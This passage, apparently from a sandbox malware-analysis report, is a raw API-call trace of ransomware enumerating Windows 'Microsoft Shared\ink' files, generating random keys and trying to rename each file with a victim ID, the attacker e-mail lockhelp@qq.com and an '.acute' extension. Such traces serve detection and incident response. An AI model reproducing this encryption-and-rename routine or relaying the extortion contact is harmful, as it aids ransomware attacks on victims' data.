Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0050.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.714] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.714] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=815680) returned 1 [0050.714] CloseHandle (hObject=0x170) returned 1 [0050.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0050.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.715] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.715] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1100368) returned 1 [0050.715] CloseHandle (hObject=0x170) returned 1 [0050.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0050.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.715] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.716] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3053984) returned 1 [0050.716] CloseHandle (hObject=0x170) returned 1 [0050.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0050.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0050.717] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0 [0050.717] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.717] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2227968) returned 1 [0050.717] CloseHandle (hObject=0x170) returned 1 [0050.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0050.717] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0050.717] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0 [0050.717] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.718] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3195696) returned 1 [0050.718] CloseHandle (hObject=0x170) returned 1 [0050.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0050.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0050.718] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0050.718] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.719] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=4120784) returned 1 [0050.719] CloseHandle (hObject=0x170) returned 1 [0050.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0050.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0050.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0050.719] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.719] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2592) returned 1 [0050.719] CloseHandle (hObject=0x170) returned 1 [0050.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0050.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.720] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.720] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2462) returned 1 [0050.720] CloseHandle (hObject=0x170) returned 1 [0050.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0050.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.721] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.721] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2436) returned 1 [0050.721] CloseHandle (hObject=0x170) returned 1 [0050.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0050.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.722] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.722] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2556) returned 1 [0050.722] CloseHandle (hObject=0x170) returned 1 [0050.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0050.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.723] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.723] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2514) returned 1 [0050.723] CloseHandle (hObject=0x170) returned 1 [0050.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0050.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.723] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.724] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2616) returned 1 [0050.724] CloseHandle (hObject=0x170) returned 1 [0050.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0050.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.724] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.725] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2578) returned 1 [0050.725] CloseHandle (hObject=0x170) returned 1 [0050.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0050.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.725] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.726] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3024) returned 1 [0050.726] CloseHandle (hObject=0x170) returned 1 [0050.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0050.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.726] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.727] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2658) returned 1 [0050.727] CloseHandle (hObject=0x170) returned 1 [0050.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0050.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.727] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.890] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2628) returned 1 [0050.890] CloseHandle (hObject=0x170) returned 1 [0050.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0050.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.891] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.891] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2526) returned 1 [0050.891] CloseHandle (hObject=0x170) returned 1 [0050.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0050.891] GetFileAttributesW 